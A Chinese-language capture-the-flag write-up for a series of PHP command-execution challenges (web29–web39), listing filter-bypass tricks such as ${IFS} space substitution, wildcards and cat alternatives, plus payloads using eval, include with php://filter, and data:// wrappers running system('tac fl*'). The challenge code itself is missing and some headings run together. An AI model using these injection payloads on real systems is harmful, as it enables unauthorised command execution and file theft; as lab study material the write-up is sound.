- 命令执行
- web29
- web30
- web31
- web32
- web33
- web34
- web35
- web36
- web37
- web38
- web39
反引号``
反引号``即命令替换 是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出
单引号,双引号
适用条件:过滤了字符串 放在shell命令中,绕过正则匹配且不影响原意
空格绕过
> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09
读文件绕过(cat绕过)
适用条件:过滤了cat 1)more:一页一页的显示档案内容 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体内容 grep grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
Linux通配符绕过
适用条件:过滤了flag,没有过滤 ? * 在linux系统中 有一些通配符 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file * ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0 [abcd] 匹配abcd中任何一个字符 [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
include 和伪协议的配合
因为include包含php文件不会在页面显示出来 所以可以配合伪协议将flag.php打印,而且新的参数不会受过滤影响web29
题目
题解
查看目录
由于flag被过滤,可以使用通配符进行绕过,查看flag.php
复制flag.php文件到1.txt并访问
题目
题解
过滤了flag、system还有php。
运用反引号查看目录 并查看flag.php(flag php被过滤 运用通配符)
题目
题解
又加上了点、单引号和空格被过滤。我们可以通过shell中eval命令进行变量嵌套替换
payload:
c=eval($_GET[1]);&1=echo `nl flag.php `;web32
题目
题解
过滤了括号以及分号
%0a换行符
include函数不用括号 分号可以用?>代替
payload:
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.phpweb33
题目
题解
本题多过滤了一个双引号,这题用require函数
payload:
c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.phpweb34
题目
题解
过滤又增加了:
依然可以用之前的方法
payload:
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.phpweb35
题目
题解
又多过滤了<,依然可以用之前的方法
payload:
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.phpweb36
题目
题解
又增加了数字.emmmm…依然可以用之前的方法。只不过换成字母
payload:
c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.phpweb37
题目
题解
include文件包含,同时又过滤了flag,利用data伪协议
payload:
c=data://text/plain,web38
题目
题解
过滤了PHP,
在php中,每当它读取php文档时,它都会查找:
php ?>
它只处理上述标签之间的代码,并在它们周围留下其他代码。
例:
输出:
Hello PHP !
但,其实在使用echo() 进行输出时,我们可以使用快捷方法。上面示例可以使用=标签来输出,例:
= "Hello PHP !"?>
说明:“=”是PHP的一个短的开放式标签,是echo()的快捷用法。
可以用短标签代替php执行
payload:
1 c=data://text/plain,=system('tac fl*');?>
2 c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web39
题目
题解



